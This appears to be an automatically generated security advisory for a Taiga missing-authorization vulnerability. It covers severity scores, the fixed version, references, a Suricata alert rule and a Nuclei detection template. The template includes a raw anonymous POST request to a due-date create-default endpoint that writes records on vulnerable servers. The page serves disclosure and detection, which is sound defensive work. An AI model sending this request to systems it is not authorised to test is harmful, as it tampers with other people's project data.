CVE-2026-59097: Taiga < 6.10.2 - Unauthorized Due-Date Creation via API Viewsets

What it is

Taiga before 6.10.2 contains a missing authorization vulnerability that allows unauthenticated remote attackers to create default due-date records in any project by exploiting unprotected POST endpoints on the user-story, task, and issue due-date API viewsets. Attackers can supply an arbitrary project identifier to these endpoints, which bypass permission checks and apply the AllowAny default, to pre-empt project administrators from initializing due dates by creating records before they can do so themselves.

Description quoted from the CVE record (assigned by VulnCheck, published 2026-07-02).

Weakness: Missing Authorization

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality none, integrity low, availability none. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 8 references on Exploit Observer

Live scores

EPSS

0.004
low predicted chance of attack

VEDAS

0.985
strong exploit evidence

On CISA KEV

Not listed

Detection rule

Nuclei · Suricata

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Fixed versions stated in the CVE record: 6.10.2.

Vendor guidance:

• Release Notes (release-notes)
• Fix Commit (patch)

How to detect it

Nuclei template (active check)

Taiga - Unauthenticated Default Due-Date Creation Missing Authorization

Taiga before 6.10.2 contains a missing authorization vulnerability in the create_default action of the user-story, task and issue due-date API viewsets (routed at POST /api/v1/userstory-due-dates/create-default, /api/v1/task-due-dates/create-default and /api/v1/issue-due-dates/create-default). The action reads a client-supplied project_id and applies the AllowAny default without any permission check, so an unauthenticated remote attacker can create default due-date records in any project and pre-empt administrators from initializing due dates. This template sends an anonymous create-default request for project 1 and confirms the missing authorization by matching the handler-specific response (the created default due-date record or the “does already have due dates” guard message), both of which prove the request reached the handler without authentication; fixed builds add a permission check and reject anonymous callers with HTTP 403.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /api/v1/userstory-due-dates/create-default); it decides using regex, status matchers. Severity in the template: medium. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2026-59097.yaml

id: CVE-2026-59097

info:
  name: "Taiga - Unauthenticated Default Due-Date Creation Missing Authorization"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    Taiga before 6.10.2 contains a missing authorization vulnerability in the create_default
    action of the user-story, task and issue due-date API viewsets (routed at
    POST /api/v1/userstory-due-dates/create-default, /api/v1/task-due-dates/create-default and
    /api/v1/issue-due-dates/create-default). The action reads a client-supplied project_id and
    applies the AllowAny default without any permission check, so an unauthenticated remote
    attacker can create default due-date records in any project and pre-empt administrators from
    initializing due dates. This template sends an anonymous create-default request for project 1
    and confirms the missing authorization by matching the handler-specific response (the created
    default due-date record or the "does already have due dates" guard message), both of which
    prove the request reached the handler without authentication; fixed builds add a permission
    check and reject anonymous callers with HTTP 403.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-59097&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=taiga&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
    cvss-score: 6.9
    cve-id: CVE-2026-59097
    cwe-id: CWE-862
  metadata:
    verified: false
  tags: cve,cve2026,taiga,auth-bypass,unauth

http:
  - raw:
      - |
        POST /api/v1/userstory-due-dates/create-default HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"project_id":1}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '(does already have [a-z ]*due dates|"days_to_due"|"by_default")'
      - type: status
        status:
          - 200
          - 201
          - 400

CVE-2026-59097.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-59097 Taiga Unauthenticated Default Due-Date Creation Missing Authorization. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"VEDAS CVE-2026-59097 Taiga Unauthenticated Default Due-Date Creation Missing Authorization"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"-due-dates/create-default"; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-59097; reference:url,https://www.exploit.observer/?keyword=CVE-2026-59097&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=taiga&match=exact; sid:1096803; rev:1;)

CVE-2026-59097.rules on GitHub

References

Vendor advisories and patches

• Release Notes (release-notes)
• Fix Commit (patch)

Exploit code

• Researcher Disclosure (technical-description, exploit)

Technical analysis and advisories

• Fix PR (issue-tracking)
• https://www.vulncheck.com/advisories/taiga-unauthorized-due-date-creation-via-api-viewsets (third-party-advisory)

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.